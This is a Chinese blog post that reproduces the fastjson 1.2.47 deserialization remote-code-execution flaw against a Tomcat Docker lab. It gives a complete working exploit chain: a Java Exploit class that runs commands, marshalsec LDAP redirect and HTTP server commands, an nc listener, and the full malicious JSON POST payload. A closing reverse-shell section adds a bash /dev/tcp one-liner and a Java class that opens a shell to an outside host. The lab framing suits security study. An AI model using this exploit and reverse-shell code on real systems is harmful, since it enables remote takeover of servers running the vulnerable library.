fastjson <= 1.2.47反序列化入侵复现

环境建设
unbutu&kali安装jdk:jdk8u181
    链接: https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven
tomcat下载:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz
fastjson1.2.47:
    链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven
工具:marshalsec,需要用mvn打包一下,github:https://github.com/mbechler/marshalsec
    链接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取码: sven
View Code

搭建docker环境

docker pull rightctrl/tomcat

docker run --name tomcat -p 8080:8080 -d rightctrl/tomcat    启动容器

docker cp fastjson  tomcat:/opt/tomcat/webapps  拷贝fastjson环境

docker exec -it tomcat /bin/bash   进入docker容器

访问靶机界面:

 

 

 

利用:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("touch /tmp/fastjson.test");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

1.编译一下Exploit.java,生成Exploit.class,将2个文件放入服务器webapps / fastjson下

 

2、开启三个监听窗口

第一个,使用python搭建一个临时的web服务

python -m SimpleHTTPServer  80

Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

第二个,服务器使用marshalsec开启LDAP服务监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 99

Ps:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器

第三个,nc监听

nc -lvp 1888
 

4.查看一下目标机器源代码,发现参数名称和年龄,构造一下,回显正常,
ps:真实环境中这些都是目标机自带的,找到提交json的地方构造poc即可

 

 

 

 5.放上poc,查看靶机是否成功执行命令

POST /fastjson/ HTTP/1.1
Host: 192.168.1.109:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 247

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.1.102:8088/Exploit",
    "autoCommit": true
  }
}

6.服务器的Ldap已接收到请求,命令成功执行

 

 7.本地web服务接收成功

 

 

反弹壳

  • 坑点之一,java反弹shell,无法直接使用bash -i>&/dev/tcp/119.28.130.53/18888 0>&1
  • import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Exploit{
        public Exploit() throws Exception {
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.124.5/888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }

     

     

posted @ 2020-04-28 11:18  XHC远方  阅读(973)  评论(0编辑  收藏  举报